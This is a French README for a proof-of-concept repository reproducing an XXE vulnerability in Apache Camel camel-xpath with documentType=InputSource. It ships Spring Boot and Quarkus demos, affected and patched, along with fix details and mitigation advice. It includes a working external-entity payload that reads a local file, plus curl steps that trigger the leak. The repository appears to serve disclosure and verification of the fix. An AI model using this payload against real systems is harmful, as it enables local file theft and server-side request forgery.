
Preuve de concept XXE exécutable pour CVE-2026-85250 dans Apache Camel camel-xpath (documentType=InputSource), avec des démos Spring Boot et Quarkus affectées et corrigées.
documentType=InputSource)Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où, avec documentType défini sur
InputSource, XPathBuilder transmettait la charge utile directement à javax.xml.xpath, qui construit son propre
DocumentBuilder en utilisant les valeurs par défaut du JDK. Le durcissement appliqué au type de document par défaut de Camel était donc contourné : une
déclaration DOCTYPE refusée sur le type par défaut était acceptée ici, et l'entité externe qu'elle déclarait était
résolue et développée dans le document évalué. Un émetteur externe dont le XML atteint une telle expression pouvait
lire les fichiers accessibles au processus Camel et amener le processus à émettre des requêtes vers des hôtes qu'il nomme.
| Runtime | Répertoire | Pile |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (affecté ; corrigé en 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, affecté ; témoin corrigé CQ 3.40.0 / Camel 4.22.1) |
Les deux modules démontrent le comportement affecté et le comportement corrigé.
Un fichier « secret » bénin est déposé sur le disque (cve-2026-85250-secret.txt, contenant une chaîne marqueur), tenant lieu de
fichier local lisible par le processus Camel. L'attaquant envoie du XML — sous forme d'InputStream, ce qui est converti en
InputSource — portant une DOCTYPE dont l'entité externe référence ce fichier :
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
La route évalue xpath("/test/text()").documentType(InputSource.class) sur le corps.
InputSource (valeurs par défaut du JDK) résout l'entité externe, donc le résultat XPath correspond au
contenu du fichier — le marqueur est exfiltré.DOCTYPE est refusé par le parseur durci (le même que celui utilisé par le type de document par défaut), donc
l'évaluation échoue avant que toute entité ne soit résolue.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Propriété | Valeur |
|---|---|
| Composant | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Restriction incorrecte de la référence d'entité externe XML) |
| Gravité | ÉLEVÉE |
| Vecteur d'attaque | XML non fiable évalué par une expression XPath configurée avec documentType=InputSource |
| Impact | XXE : divulgation de fichiers locaux et falsification de requêtes côté serveur via des entités externes |
| Versions affectées | À partir de 4.0.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.1 |
| Versions corrigées | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Crédit | Claude Security Scan Tool |
Avis : https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder achemine désormais un InputSource (ainsi qu'un SAXSource) via
toHardenedDocument(), qui le convertit en un org.w3c.dom.Document en utilisant le même
DocumentBuilderFactory durci que celui déjà utilisé par le type de document par défaut, avant de le transmettre au moteur XPath — ainsi les deux
types de document sont analysés avec la même configuration et un DOCTYPE est refusé. Notez que le type InputSource partage désormais également
la porte de sortie documentée du type par défaut : les mêmes propriétés système DocumentBuilderFactory qui assouplissent le
type par défaut assouplissent également celui-ci.
N'utilisez pas documentType=InputSource sur des expressions évaluées sur du XML non fiable ; le type de document par défaut refuse déjà
un DOCTYPE.
Ce dépôt est publié à des fins éducatives et défensives : pour aider les utilisateurs d'Apache Camel à comprendre la vulnérabilité, à vérifier s'ils sont affectés et à confirmer que la mise à jour la résout. Le fichier « secret » est un marqueur inerte et planté. N'utilisez pas ce contenu contre des systèmes que vous ne possédez pas ou n'exploitez pas.